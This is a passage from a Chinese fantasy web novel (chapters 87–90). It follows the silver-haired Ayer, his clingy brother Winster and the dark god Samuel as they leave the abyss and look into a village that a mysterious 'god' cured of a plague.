当温斯特找到哥哥的时候,艾尔正在背咒语,可惜了这里光元素很少,不方便实操。 青年听见那声呼唤,抬头看向来人,眉眼一弯,“塞缪尔终于放你出来了。” 温斯特快步上前,弯腰抱住了哥哥,脑袋在艾尔肩上蹭了蹭,黏黏糊糊道:“我好想你。” 艾尔失笑,离上次见面就隔了两日左右,怎么像是两年不见似的。 温斯特期待问道:“哥哥有想我吗?” 对上那双亮晶晶的,认真映着他的黑眸,艾尔:“呃……” 温斯特变脸极快,顺畅自如地转为幽怨:“是和塞缪尔待在一起很开心,完全忘记我了吗?” 艾尔抿了抿唇,还是没忍住将温斯特推远了一点,刚才太近了,对方灼热的呼吸打在他颈间和脸颊,怪怪的…… 他只习惯好兄弟之间的互损互怼,像温斯特这么黏人的,常常会让他感到头皮发麻。 小时候这样会很萌很暖心,但是现在的温斯特比他高比他壮,艾尔这种大直男真的很难适应猛男撒娇啊! 银发青年无奈道:“离上次见面也没多久啊,而且我知道你的意识就睡在我眼皮子底下,我很放心就是了。” 艾尔怀疑弟弟睡一觉起来就这么黏糊纯粹是找个由头撒娇,但对温斯特来说,不是眼睛一闭一睁那么简单…… 陪哥哥去深渊其它地方找食材他不在,哥哥做新菜第一个吃到的不是他,哥哥袒露最大秘密的时候他也不在…… 错过了好多温馨的、能培养感情的时光,塞缪尔那个白痴…真是浪费! “我以为我才是哥哥最亲密最信任的人,结果…哥哥把秘密说给塞缪尔听……” “啊?这个…因为祂好奇嘛,你以前没问过我啊……” 艾尔说着说着有点小心虚,手一挥,桌上多了一堆东西,“快看,这些都是你的信徒献上的心意,喜欢吗?” 转移话题对温斯特没用,他淡淡地瞥了一眼那堆五颜六色的珍品,然后看着笑得比珍品更引人注目的哥哥,一想到塞缪尔夺走了那么多好事就很不甘心。 温斯特再次弯腰靠近了银发青年,艾尔察觉到他距离不对劲立即向后仰,但已经晚了——温热的唇已经落在了他的眉心,一触即离。 艾尔瞪大眼,连忙站起身后退两步,顺便抬手捂住额头,震惊道:“你在干什么?!” 温斯特偏了偏头,犹豫着开口:“不能亲吗?我见过叔叔婶婶他们都这样亲过哥哥。” 这个世界对感情的表达很坦诚,热烈又直白,长辈亲吻晚辈是很正常的事情。 艾尔算是保守的那一类性格,也不喜欢跟人皮肤接触,认亲一段时间,跟家里人熟悉起来后,他父母还有其他长辈试图在见面时亲吻他额头,他还躲避过,然后就惹得一大堆人失望——崽崽还跟我们见外呢。 后来艾尔便忍住了躲避的本能,没少被父母姑姑姐姐们揉脸摸头吻额。 “都是年长之人对小辈这样做,哪有反过来的。” 温斯特闻言有些局促,“是、是这样吗?抱歉哥哥,我不知道,没有人教过我……” 艾尔对这话没有一点怀疑,温斯特确实比塞缪尔更守规矩,更懂常识,但因为成长环境,某些方面认知不够也是正常的。 他重新坐了下来,无奈笑道:“没关系的,以后不要这样了就行,刚才差点吓死我。” 夸张了点,但确实受了惊,他甚至想过是不是魅魔变成了温斯特的模样来接近他。 温斯特垂下眼睫,不情不愿的嗯了一声,看起来像是被主人批评了的大狼狗,可惜…… 艾尔的注意力已经转移到刚才没看完的手札上了,古代人的日记本显然比每天都能看见的脸更具吸引力。 温斯特在心里叹了口气,收敛了刻意的表情,坐在了哥哥旁边的石凳上随手把玩着一颗温热魔核,显然心不在焉。 再三琢磨,温斯特终于找到了不会让哥哥觉得突兀的话题切入点,“听塞缪尔说,有不少魔族喜欢哥哥这种类型,那哥哥呢?有觉得谁还不错吗?” 艾尔嘴角一抽,把喜欢换成有性趣会更合适一点。青年单手撑着下颚看手札,神情放松,半开玩笑,“没有,我断情绝爱了。” 温斯特:??? 小狼崽子难得露出受惊的表情,可惜艾尔根本没扭头看他。 温斯特稳了稳情绪,勾出一抹勉强的笑容,“哥你别开玩笑,你喜欢什么类型的人,跟我说说嘛,我会保密的。” 这才是温斯特的目的——打探哥哥的择偶标准。 艾尔稍微偏头看他,果然,平时再不爱八卦的人,也终究是会八卦的。 他没思考多久,随口道:“长得好看,独立,有自保能力,相处中不会经常闹矛盾的。” 标准倒是有,但艾尔虽然没谈过恋爱,却也知道爱情这玩意儿不讲道理,说不定最后喜欢上的人根本不符合择偶标准。 温斯特哪知道这些,他听见哥哥的答案后眼睛一亮,觉得哥哥迟早也会喜欢上他的! 艾尔忽然想到了什么,他眯了眯眼,狐疑道:“你不会每遇到一个符合我喜好的女孩儿,就要把人吓走吧。” 无论是温斯特还是塞缪尔,都对他有着强烈的占有欲,艾尔严重怀疑这才是温斯特八卦的目的。 女…女孩儿? 刚刚还满心期待的温斯特顿时天都塌了! 实则艾尔是个事业脑,每当有人跟他提起恋爱,他只单手一摆,“随缘。” 他从来没遇见过心动的女孩儿…或者男孩儿,既没兴趣也没性趣,随大流的认为自己的取向是女,从没考虑过跟一个男孩子谈恋爱,理所当然的会说这种话。 艾尔看他整个人都焉了,也不说话,以为是自己看穿了温斯特的想法,这小子心虚,他脸色一正,教育弟弟:“不许欺负人。” 温斯特垂眸,简单嗯了一声,心里在想什么就不得而知了。 礼尚往来,艾尔也顺口关心了一下弟弟的择偶标准。 温斯特哪敢说喜欢哥哥这样的,只幽怨地看了青年一眼,“我断情绝爱了。” 艾尔:? 好怪,他觉得温斯特回答一句“没兴趣”才更符合他的人设,啊…不错嘛,弟弟会开玩笑了! —— 或许是塞缪尔这几日太累了,祂连着三天都没出现,艾尔听温斯特说了祂没事后,就完全不担心了。 他每天看书,练剑,去魔族们新建好的庄园里做客,生活过得很充实。 怎么说呢,过得比深渊共同承认的神明自在多了。 而凡界传闻中暴躁好战还喜欢吃人的魔族,越发的热情好客,可以说他们现在最期待的就是银发神使的到来了,这意味着又有能打发时间的新事物出现了。 哦~虔诚的神使殿下,在神明的指引下,努力的给信徒带来福祉。 更重要的是,伟大的黑暗神大人,多么富有创造力,多么关心信徒啊,别的神明只想要信仰,但他们的主却在乎信徒过得快不快乐!呜呜,没粉错人! 魔族们沉迷于新乐子,已经忽略了他们的神连封印都不愿意帮忙打开的事情。 至于另一位神使……几乎被魔族们抛之脑后了,他们不知道的是,每日凝出的信仰都落在了这个被他们忽略的人的身上。 极西之地这边本来只聚集了少数高等魔族,自从神殿出现的消息传开,附近的魔族已经赶了过来。 就这几天,艾尔每天都能见到好多新大佬,新种族,也算开了眼界了。 处于一堆随手就能摁死他的老怪物之中,青年镇定自若,狐假虎威,目前和魔族的关系非常和谐。 他第一次庆幸这个世界没有网络,不然消息传的更快,整个深渊都赶过来朝圣,一片密密麻麻的脑袋能让他患上密集恐惧症。 想到这种事,艾尔觉得差不多该离开深渊了,他可不想被看不到尽头的魔族包围。 而且在深渊没法练习光系魔法,让他有点焦虑,另外,他还有去西莱古森给精灵王庆祝诞辰的行程,深渊昼夜不分的,他没法好好算日子,还是早点出去吧。 正好在跟那几个熟悉的魔族们闲聊,艾尔顺口提了这件事,和谐的气氛顿时就僵硬了下来…… 亡灵劝道:“殿下,你不在,谁来帮吾神代管深渊呢?不然让另一位神使回去执行吾神的计划,你留下来带领我们。” 不怕死又回来了的安妮塔:“对啊,你该留下来,将吾神赐予的福祉传到整个深渊。” 艾尔:“……”你们是不是忘了我是光明圣子,温斯特才是适合深渊的暗系法师? 还是雷蒙的大恶魔父亲最老实,“你不在,我们把这几日的游戏玩腻了怎么办?”去哪儿找新乐子? 艾尔沉思一瞬,有了新主意,“要不……你们实在无聊,可以写故事?吾神如此富有创造力,祂也一定很欣赏拥有同样优秀头脑的信徒。” 周围的魔族们凑得更紧,挤成几大圈,想听神使殿下的新点子,“什么故事啊?我们自己的经历吗?” “这倒不是,我说的是……”艾尔脑子转的飞快,他看向对面的安妮塔,“魅魔可以写‘作为世界第一美人的我,诸神为我神魂颠倒’” 安妮塔瞳孔地震。 青年又看向血族亲王,“傲慢天族被我吸血上瘾。” 几个血族倒吸一口凉气。 目光挪到亡灵厄休拉身上,“死后复生变强,我让仇敌跪地求饶。” 亡灵族:“!!!” 最后他对大恶魔说,“穿到神战之前,我辅佐黑暗神成为世界之主。” 恶魔族:啊啊啊!!! 一时间寂静无声,艾尔扫了一圈周围,发现大家都心不在焉,表情或傲慢或嚣张,明显灵魂到了另一个世界了。 他点点头,不错,看来成功踩到他们爽点了。 艾尔又加了一把火,“等故事写出来,你们还可以编排几出戏剧,顺便写几首诗歌,我很期待下次来深渊的时候,能看到你们创作出的优秀作品。” 故事的数量可以无穷无尽,魔族要是对这些事感兴趣,有了打发时间的东西,就不会整天想着出去报仇,占地盘了。 有魔率先从幻想中脱离出来,赞美道:“不愧是殿下,这是很有趣的主意!” 艾尔今天聊累了,他提了一声回神殿了,众魔族也没有像往常那样留他,大家脑里的小剧场正精彩着呢! —— 塞缪尔醒来的时候,看到温斯特的那段记忆,深深皱起了眉,喜欢?爱?什么玩意儿? 这种事先不管,祂不在的时候,小崽子都没问过温斯特祂什么时候能回来,可见一点都没想祂,真是没心没肺! 第088章 第 88 章 艾尔一进殿内, 就闻到了浓烈的酒香味,那从来没见塞缪尔坐过的华丽冰冷的神座,终于被它的主人用上了。 黑发青年侧躺在宽大的神座之上, 屈着一条腿,另一条随意搭在了扶手上, 俊美深邃的脸上面无表情, 黑眸幽深, 眉宇宽松,看起来什么也没想, 就是在发呆。 旁边的地上倒着一个绘图已经褪色了很多的小巧酒壶, 一看就知道这酒已经存放了许多年了……或许比艾尔想象中还要大龄。 这画风, 是塞缪尔无疑了。 艾尔蹙眉走了上去,“你终于醒了, 这次怎么睡这么久?是灵魂的伤还没好吗?现在感觉怎么样,身体正常吗?有没有哪里疼,心跳还乱不乱?” 塞缪尔在小崽子说话前,是决定好不搭理他的, 祂一睡不醒, 这小子居然一点也不担心,吃喝玩乐,睡觉学习是样样不耽误! 一想到没被小崽子放在心上, 塞缪尔就很不爽, 决定冷落他一阵子。 但祂没料到一见面就迎来了一顿叽叽喳喳的关心, 神明大人矜持了几秒, 才摆出不在意的脸色回答, “真是话多,我好得很。” 艾尔得到肯定的答复也就不刨根问底了, 也懒得批评某神前几天那作死折腾自己身体的行为,凭他对塞缪尔的了解,说多了这家伙就要恼羞成怒了。 他疑惑地看着塞缪尔:“这酒闻着好烈,你喝了一整瓶?不醉吗?” 他平时很少喝酒,酒量不好,今天闻着味儿都晕晕乎乎的,能感觉到脸在发烫了。 温斯特也不喝,塞缪尔出现的时候偶尔会喝一点,照理来说,祂这具身体的酒量也就比他好一点点,没道理喝一瓶烈酒没反应啊。 只见塞缪尔慢悠悠地瞥了他一眼,“我怎么可能会醉。” 那一眼落到青年的脸上就没再收回去了,“你脸红什么?” 艾尔一见祂这慢半拍的反应,眼中还透露着些许清澈的愚蠢,就不信祂的话了,但也老实回答了祂的问题,“我闻着味儿就醉了。” “……?” 无需塞缪尔开口,艾尔能从祂的表情里读出祂的想法。 呵,以为自己很清醒吗? 艾尔看着塞缪尔的脸,偏古铜色的皮肤不像他这么容易显红,也不知道是不上脸还是看不出来,所以他直接上手了。 温凉的手背贴上了略显烫意的脸,塞缪尔一怔,也没生出觉得小崽子行为冒犯的想法,反而握住了他的手,脸颊轻轻蹭了蹭,显然舍不得这冰凉凉的舒适感。 艾尔嘴角一抽,就这还没醉?估计是忘了自己现在用的是凡人躯体了,啧,也不知道凭大剑师的身体素质,清醒后会不会头疼。 本来艾尔只是闻着酒味头晕,塞缪尔身上的热意通过手掌传了过来,弄得他也有点热了。 艾尔想将手抽出来,无果,反而让塞缪尔抓的更紧了。 对方的视线一直落在他身上,在那一瞬间变得凌厉而危险,带着有如实质的侵略感。 有这么热吗……艾尔也不敢再抽手,他担心这家伙没控制住将他捏骨碎了,现在就有点疼了。 无奈地坐了下来,另一只手拿出一把跟整个神殿风格完全不搭的蒲扇,给醉鬼扇风。 凉意袭来,塞缪尔显然舒服了很多,眼神都没那么凶了,但也没放开手,就这样一直看着他。 如果塞缪尔知道有个词叫做酒后乱性,祂会用来形容自己现在的想法。 可惜……祂倒是想乱,但温斯特说过,小崽子是不会同意的,如果祂真的邀请他一起探索那种亲密无间的行为,一定会被远离的。 虽然塞缪尔有些看不惯稚嫩的自己,但信任还是有的,温斯特和艾尔都是人类,思维相近,也许他说的是对的。 神明大人的视线幽幽扫过青年略带薄红的脸颊,思考自己是不是受温斯特影响太多,怎么行事变得如此畏手畏脚? 有一瞬间,塞缪尔想过就按照自己原本的脾气做事,坦诚直接一点,不要拐弯抹角的浪费时间,说不定现在已经跟小崽子亲上了。 艾尔哪知道身边人脑子里在想什么黄色废料,他刚开始没在意塞缪尔盯着他看,毕竟周围也没有其它可看的,就连他自己,注意力也都放在了塞缪尔身上。 但是……对方的目光越来越有存在感了,艾尔忽然感到几分不自在…啧,醉了就不能闭眼睡觉嘛? 空气中弥漫着一丝尴尬,艾尔不得不挑起个话题打破平静,“再等三天,我们就回凡界吧。” 塞缪尔正憋屈着,偏偏就不想简单的如了他的意,只听祂哼笑一声,低沉的声音响起:“谁答应过要带你回去了?我看你和那群魔族玩的很好,不如就一直留在这里。” 一听语气就知道不是认真的,艾尔笑着看祂,小幅度地摇了摇握着的手,“伟大的,无所不能的塞缪尔大人,不能满足您虔诚信徒的一个小小心愿吗?” 神明垂下眼睫——哪里虔诚了,连一枚信仰都没给祂。 塞缪尔越来越介意这件事,祂觉得小崽子对祂不够重视,但也不想就这么质问出来,显得祂多在意似的…… 心里既不高兴,却又很喜欢青年拉着祂的手摇啊摇的感觉,啧,笑得这么甜干什么? “又在撒娇。” 艾尔笑容一僵,他抿了抿唇,把“我没撒娇”咽了下去,而且什么叫又?? 算了,你爱怎么想就怎么想吧。 “所以你答应了吗?” 神明大人单手搭在额头上,“反正深渊也没什么意思……” 听起来是祂自己想走,跟某人的请求无关似的。 —— 后面的三天,塞缪尔和温斯特又恢复了凡界时的稳定状态,两个意识轮流掌控半天身体。 温斯特很纠结,他出来的时候能和哥哥说话,这很好,可他也想和哥哥躺在一张床上睡觉! 塞缪尔也不乐意让出一半时间,祂占据了和小崽子一起睡觉的时间,只要祂想,能每日亲到人,这很好。 但祂觉得还是小崽子醒着的时候,时间能消磨的更有趣一点。 大直男暂时还没察觉到身边人对他的觊觎,要离开的当天,艾尔找到了正在麻木清理极西之地断壁残垣的雷蒙。 “我亲爱的骑士,好久不见。” 雷蒙看见那张温柔的漂亮笑脸,只觉得这人比他更像恶魔! 大块头讪笑两声,“神使殿下,您有什么需要我效劳的吗?” 艾尔也不跟他客气,直接下达了要他留在深渊教凡界通用语的命令。 雷蒙的脸纠结成一团,一方面他觉得自己跟神使是同阵营的,想和他们一起回凡界参与黑暗神大人的计划。 另一方面,他现在挺怂温斯特那小子,不想跟他离得太近。 艾尔为了让他尽心尽力地做事,又拿塞缪尔扯大旗,“这也是是吾神的意思。” 他都懒得多编,雷蒙听这一句话,就自发脑补了很多,最后得出结论——不愧是吾神,真是深谋远虑! 很快,正在练剑的温斯特毫无所觉的又收到一枚信仰。 一听主人说要离开了,把宝库当家的小龙崽立即抱着一颗金色透亮矿石,可怜兮兮地看着主人。 艾尔是个雷厉风行的人,才不费时间哄它,抓起小龙崽就走,但也帮它收了一堆亮晶晶的东西留着筑巢。 乘着魔龙飞到封印最薄弱的地方,不知道塞缪尔之前打开封印的时候做了什么,他们这次直接飞上去了,显然,深渊对他们而言是来去自如的地方了。 今天天气很好,对于在深渊呆了十多天的人来说,太阳过于刺眼了。 艾尔眯着眼伸了个懒腰,“终于回来了,阳光真舒服啊。”看见广阔无垠的天空,心情一下就开朗了。 塞缪尔看他那高兴样,眉头一皱,喜欢一个人就是这样,对方的一言一行都会让人思潮起伏,虽然神明大人现在根本没认真思索过“喜欢”这件事。 此刻,塞缪尔的脑子里迅速列了两个等式: 喜欢阳光=喜欢明亮的东西=喜欢光明神的长相 不喜欢深渊=不喜欢暗色的东西=不喜欢祂的长相 黑发神明一脸不爽地抱臂立于一旁,阴阳怪气道:“呵,如果亚希伯恩现在出现,你就会迫不及待地献上信仰了。” 艾尔:“???” —— 深渊之中,在亲眼看见两位神使离开后,某些魔族开始了他们幻想好几日的事情。 在黑河附近的不同地点,都有魅魔伪装成银发神使的模样和短期伴侣‘玩游戏’,正如塞缪尔之前所料。 “吼——”黑色巨兽从上空,如闪电之势地飞了下来,作势一口吞吃掉和银发青年长得一样的魔族。 实力弱一点的成为了元素魔龙的养分,强一点的跑路了,但也没敢再变成神使的模样胡来了,有那心思的魔族咬牙切齿,艹,神殿的守卫神兽天天在深渊巡逻,看有没有谁冒犯了神明大人宠爱的信徒,他们哪敢再犯。 凡界,艾尔正往西莱古森赶路,哪儿知道塞缪尔口中留下看守神殿的黑龙天天在深渊寻找小点心。 —— 艾尔研究了会儿地图,然后乘着小龙崽飞了两天,这期间进了三个传送阵,在去西莱古森的路上稍微偏了下方向,到了一块天气常年阴凉的地域。 “这里温湿度和深渊差不多,也很少出太阳,不知道这些种子能不能成活。” 温斯特陪着哥哥走在小路上,“有木系法师照看,应该没问题。” 艾尔点头,“我叫人来这边租点地种上试试,活不了就算了。” 还要提醒他的打工仔们尽量找最偏的城镇,免得哪天被见多识广的大佬认出这是深渊的产物,如果以后真被发现了……他们是从陌生人手中买的新食材,他们只是普普通通开饭馆的,能知道什么呢?(无辜.jpg) 这个大陆幅员辽阔,艾尔的店还没有开到这里来,只有扎根几千年的光明教廷才几乎在每个城市都有教堂。 在没有教廷发布任务的情况下,他一向是悠悠闲闲地游历。很多地方都有独特的风俗人情和特产,现在所处的地域也是这样,所以艾尔有心多呆两天。 多亏有魔龙当坐骑,赶路速度比预想中快了很多,所以去西莱古森也不必太着急了。 闪身避开了跑着撞上来的小孩儿,艾尔和温斯特感叹道:“就算每个地方生活习惯不同,风俗不同,但是偷盗的手法却默契得一模一样。” 温斯特笑了一下,“要不是哥哥避的及时,那小孩儿的手已经被咬断了。” 他们身上的财物都在空间戒指里,但是银发青年外穿的宽大长袍有两个口袋,其中一个鼓鼓囊囊,这可不是小偷儿以为的钱袋,而是变小的龙崽在里面睡大觉。 若是有陌生的气息靠近,小龙崽绝对是张口就咬。 温斯特又偷偷看了哥哥一眼,对小偷也这么仁慈,哥哥真是太善良了! 这个地区的服饰还挺有特色,艾尔挑选了一些,打算送给家里人当礼物。 “咦…”青年若有所觉地抬头,看见不远处的天空有一大片代表信仰的光点飞快越过此处,去了远方。 不是属于他和塞缪尔的,也不是属于光明神的,因为这些信仰并非飞向神域的方向。 艾尔往光点来的方向看了看,有点好奇那里有什么样的故事。 第089章 第 89 章 所有种族中, 让人族凝出信仰是最简单的,无非就是受了恩惠、出于极致的尊崇,或者被忽悠两种。 所以, 与其说是想知道信仰产生的原因,艾尔更好奇, 获取信仰的是什么样的人物。 将印象中获得过信仰之力的人过了一遍脑, 没找到可能的人选。 即便是他的同僚, 艾布纳和黛芙妮,民众口中的光明使者、在圣光救世会中帮助无数人治愈了病痛、被派遣到大陆各地解决瘟疫和黑暗生物带来的麻烦……就是这样勤恳助人的两位神官, 得到了无数的感激和尊崇, 却极少得到信仰。 艾尔刚进教廷的时候参加过他俩主持的救世会, 民众的信仰都往天上去了,他俩给光明神做了嫁衣却不自知。 当艾尔发现自己更容易得到信仰的时候, 他以为是因为他没有提光明神,民众没有混淆救助者身份的原因,还单纯的以为高到了某种程度的感恩和崇拜就会诞生信仰。 但是多年之后他又发现,他认识的其他强者, 那种嫉恶如仇, 常常行侠仗义的人,都没有得到过信仰。 前不久艾尔帮塞缪尔收割了一波信仰之力,顺便谈论了几句, 他才知道信仰是专属于神明的东西, 而不属于好人、强者一流。 还在偏远小镇就已经收到过信仰的艾尔大惊:“我是神???” 彼时, 塞缪尔颇为无语地看了他一眼, 才多说了一句, “在别人的认知里是,那你就是, 就能收到信仰。” 艾尔琢磨了一会儿,他觉得这种事类似于上辈子的民间传说,讨封。 修炼的动物要得到人类的“像人”的肯定,就能修成正果。 而这个世界的天赋者要得到“像神”的认可,便容易信仰加身,有缥缈的机会养成神格。 这就合理了,如果信仰之力光是助人为乐就能得到,事情早就传开了,剑师法师们说不定会为了争做好人好事的机会打起来。 回忆曾经,在利塞小镇的时候,确实镇民们都在传他是神眷者,灵魂一定会被接引到神域。 进了教廷,又有一帮民众在叫他神子。饭馆里的食客奉他为食神,反正“神”这个字眼已经跟了他很久了。 再说另外三位圣子候选人,去世的丹尼尔比艾布纳他们更容易得到信仰,艾尔认为是这家伙平日里很会演的原因,一出教廷就学着那尊光明神像的表情和气质,看着确实比艾布纳和黛芙妮更具神性。 艾尔本人也没指望过成神什么的,他收集信仰之力,存粹是因为这玩意儿附加的buff能帮他忽悠人。 总之,信仰不好得,所以他现在想知道刚才看到的百多枚信仰是为何而生的。 若是有人做了大好事就算了,万一这些信仰属于一个看起来颇具神性的骗子呢? 艾尔对前者兴趣不大,若情况是后者,他倒挺想见识一下那人什么模样。 信仰以极快的速度飞向天边,也不知道要追多久,所以他决定溯源,寻着信仰来的方向走。 没多久—— “看起来是个村子,我们下去吧。”千米之上的空中,用光翼赶路的青年注意到零星的信仰从下方飘出来,以此锁定了地点。 刚落地,温斯特冷漠地看向某个方向,吓得正在树上掏鸟蛋的男孩儿一个机灵,条件反射的想往后退,却忘了自己身处何处,直接翻了下来。 因为哥哥在旁边,温斯特第一时间就冲过去救了人。 艾尔扶额,还以为这处儿没人呢。 还没来得及安抚男孩儿,人家直接一个跪地大礼,“感谢神明大人的庇护,感谢……” 银发青年走到他面前,伸手抵住了他正要磕下去的额头。 男孩儿紧张的很,愣愣地盯着看起来有点温柔的神明,一句话翻来覆去的说,唔……刚才村里人祈祷的时候都说了些什么来着,他只记得这一句了呜呜呜呜! “别怕,我们不是什么神明,只是会点魔法罢了。” 男孩儿犹豫了一下,点头嗯了一声,心里却是不信的。 他们和昨天离开那位神明一样,都有白色的大翅膀,都是从天上飞下来的。 村里人都称呼那位为神明,对方没有否认,那这位好看的银发哥哥也一定是神明,至于刚才救了他的大哥哥……是神明的仆人吧。 因为一个看起来有仙气,一个看起来像冷酷杀手,所以……只有艾尔收到了小家伙的信仰。 “您是来找另一位神明大人的吗?” “……”艾尔哭笑不得,这孩子好像根本没信他刚才的话。 也不打算多费时间跟他掰扯清楚,艾尔顺势承认了,“是的,诚实的小家伙,能告诉我这里发生了什么事吗?我希望那位神明的出现有帮到这片土地的生灵。” 小孩儿大力点头,“有的!神明大人救了我们的命!” “前段时间,所有人都生病了,种的菜也死了,鸟儿和小虫也死了……” 小孩儿讲故事并不流利简洁,有时候还会停顿一下去组织语言,艾尔悠闲地坐在旁边的大石头上耐心地听,温斯特站在他身后,小孩儿更加肯定了黑眸哥哥是守卫的猜测! 几天前,村里人全部感染了怪病,发热、耳鼻流血,身上长黑斑,不止人,就连他们养的牲畜也是同样的症状,地里种的菜更是全部打焉、发霉。 这些事情都在一夜之间发生的,没有人有足够的体力去教堂找牧师求救了。 村里唯一保存了一瓶治愈魔药的村民,想着治好病去城里求救,但那昂贵的、该死的魔药却一点用也没有! 后面两三天,很多户人家只能眼睁睁地看着家里最柔弱的老人和小孩儿接连咳到断气。 尚有余力的村民一起挖着坑,要将比正常死人腐烂更快的尸体埋进去。 有人力竭地跪坐在地,“我们是被魔鬼诅咒了吗?” 没有人反驳,绝望会传染,坑还没有挖够,他们已经没有力气继续下去了,几个汉子哭成一片。 他们知道自己的身体状况,他们没有明天了…… 有人望着灰蒙蒙的天空,喃喃道:“神啊…看看我们吧!” 回应他的只是同伴们的哀嚎。 有人开始止不住地咳,他躺在地上,想着死在这里,都不用卡特他们费力气把他抬过来了。 视线看到的东西变得有点发红,这一定是他眼睛开始出血了…… 天上有什么东西从一个黑点慢慢变大,是要掉下来了吗?是小鸟吗?连鸟飞过这片土地都要被诅咒吗? 男人大睁着眼睛看着天空,却没注意到飞下来的到底是什么,他气若游丝,已有死不瞑目之相。 忽然有一团温暖的白光包裹住他,眼前是白茫茫的一片,男人以为这是死后的世界,但白光散去后,他看见了神…… 背后生着洁白光翼的神明,穿着素净的斗篷,斗篷上宽大的帽子遮住了罕见的白色长发。 祂没什么表情,但相貌很俊美柔和,垂眸看着跪坐在地上的村民的时候,显得悲天悯人。 很快,神明救治了所有还活着的人、牲畜,祂看到彻底死掉的菜地,给了村民一瓶浅绿色的神药,说重新撒下种子,用掺了神药的水浇地,菜都会长得很快。 之前神明救人的时候没说过一个字,也没有应过众人的话,看起来遥不可及。 此时见祂仁慈到甚至了关心村子的食物和生计,终于有人鼓起勇气问:“大人,我们是被诅咒了吗?是有魔鬼来这里收割痛苦吗?” 神明沉默了一瞬,淡淡嗯了一声作为回答。 村民急了,“那、那魔鬼还在这里吗?神明大人!求您帮帮我们——” 神明面对百来人的下跪面色不改,仿佛在看一片空气,“我会处理掉它的。” 留下这一句话,祂就要离开了,后方有人颤颤巍巍地问道:“您…您是光明神大人吗?” 神明脚步一顿,扭头看向正在奉出信仰的村民,“我不是。” 神明离开以后,大家听祂的话,将神药掺水灌地,菜种果然很快就长大了! 三天后,也就是今天,村民们把村里最好看最亮堂的屋子收拾出来,将那个神药瓶子当作圣物供了起来。 第一个被救下的人仔仔细细讲明白了神明从落地到救人的经过,所以男孩儿才能将事情跟艾尔他们说完整。 圣物代表了神明,每个活下来的人都跪拜了它,同时,艾尔看到的那些信仰之力在此时诞生。 —— 拿了一个大果子给男孩儿当谢礼,然后两人便在孩子目瞪口呆之下再次现出大翅膀飞走了。 这次,艾尔换了附近真的没人的地方落地,然后一手搭上温斯特的肩膀,一手捂住突突直跳的心脏—— 光系天赋、白色长发、一副慈悲相……艹啊!这是跟顶头上司擦肩而过了! 没有人想在旅游的时候遇见上司!没有人!!! 幸好他有点子幸运在身上,教皇离开后他们才到了这个地方。 温斯特扶住他,皱眉问道:“哥哥,你没事吧?” 银发青年呼出一口气,“没事。”受了点惊罢了。 他将那位“神明”就是教皇的事告诉了温斯特,但是温斯特显然不在意其他人在哪里做什么。 艾尔摩挲着指尖,陷入了思考,教皇看着温柔慈悲,实则是个冷漠的人,不然怎么压得住教廷这么多有本事的人,所以那位根本不是有闲情逸致,来这种不出名的小地方游历的性格。 而且据他观察,教皇是光明神的真粉,属于狂热皈依者,没道理碰上这么好的机会,不帮光明神收割信徒啊。 对了,凭那位的境阶,也能看到信仰之力,过了这么多年肯定对此有所了解,他想要得到信仰也很正常…… 被温斯特扶着的手臂突然感到一阵大力,艾尔被打断思绪,他扭头看向弟弟,见他眼神挣扎了几秒——又换意识了。 “你怎么现在出来了?” 塞缪尔松开小崽子的手臂,四下看了看,嫌弃地撇嘴,“疫神的味道,好臭。” 第090章 第 90 章 啊?谁??艾尔怀疑自己听岔了, 跟塞缪尔确认,“你说的,是那个黑唇, 留黑色长指甲的次级神明?” 塞缪尔耷拉着眼皮,懒洋洋的嗯了一声。 青年蹙眉:“可是……祂不是在神战时期就死了吗?”还是他亲眼看见克莱门斯老师杀了祂的。 “确实死了, 但这里有祂的臭味也不假。” 艾尔动了动鼻子, 深嗅了几下, 只闻到了林间草木的味道,“什么臭味?” “发霉腐烂的味道。” 艾尔闻言立马停止了嗅闻, 甚至不想呼吸了, 怕空气中真的飘来这样的气味。 塞缪尔看见他先抿唇, 然后伸手捂住口鼻直接挡住半张脸,那双漂亮的眼睛清晰表达出了嫌弃和警惕。 神明勾了勾唇, 像是看到一只有着干净银白色皮毛的小兽,一开始从洞口探出脑袋东张西望,听到点儿动静马上就缩回去了。 “那怎么办?这玩意儿闻了会中毒吗?这村子会不会再出一次事?” 因为捂着口鼻,青年说话瓮声瓮气的, 塞缪尔将他的手抓了下来——主要是想趁机摸两下。 艾尔刚开始注意到祂的小动作, 塞缪尔便放开了手,回答他的问题转移注意力,“不怎么办, 只是留了点气息, 过一两天就彻底散了。” 祂想了想, 猜测:“估计是疫神经常触碰的某个物件吧, 现在不在这里了。” 艾尔哦了一声, “肯定被教皇带走了。” 他也没多想,既然自己能在河底捡到一根法杖, 别人也有可能从地里挖出点神明遗物,没什么好奇怪的,就是挖出些害人的东西有点倒霉。 既然搞清楚这里发生了什么,他们就该走人了。 银发青年眉眼弯弯,“谢谢你主动出来跟我说这件事。” 塞缪尔跟他并肩前行,“那你要怎么报答我?” “……?”艾尔懵了一瞬,只能问祂,“你有什么想要的,或者想做的事吗?” 塞缪尔瞄了一眼小崽子淡红柔软的唇,话到嘴边突然一怂,但是已经惦念好几天了,想要小崽子主动亲祂…… 接吻肯定会被拒绝,塞缪尔只能退而求其次,祂抬手,将手背放在青年眼皮子底下,看似倨傲道:“上次宫廷宴会后,有好好学习礼仪吗?” 艾尔立即想到那晚塞缪尔想要他行吻手礼,但是被他误会了的事情,若不是当晚温斯特对他做了这件事,他肯定到现在都没反应过来。 艾尔有点别扭,这个世界的吻手礼跟上辈子了解到的有些不同,象征意义更加单一,就是向地位更高的人表示尊敬和忠诚。 他倒不是介意背后隐含的意思,就是单纯不想亲吻别人而已。 本来想装傻混过去的,但艾尔忽然注意到塞缪尔僵硬的表情,乍一看跟平时一样傲慢,还因为等了几个呼吸有点不耐烦,但却没有和平时一样光明正大地看着他的脸,反而是不经意地瞄一眼,又一眼——俗称偷看。 艾尔被可爱到了,差点儿没忍住笑出声,他忽然就跨过了心里的那道坎,第一次主动吻了别人,哦,还是同性呢,以前的他可想不到这种事。 因为懒得弯腰,银发青年只笑着双手捧起对方的手,凑到唇边蜻蜓点水般吻了一下。 不是正确严谨的吻手礼,却多了几分温柔和宠溺,看起来像是青年很乐意做这种举动,而不是被要求这样做。 一瞬间,塞缪尔眸色转深,小崽子就这么轻轻地点一下,祂当然不满足,但是对这种事挑刺会很奇怪,小崽子那么聪明,没准儿会起疑心,所以塞缪尔只能见好就收。 “这样可以了吗?” “算是可以了吧。” “……”艾尔心里犯嘀咕,什么叫算是,还想怎么样啊? 想尽快跳过这一茬儿,艾尔没再跟祂继续说这件事,“我们走吧。” 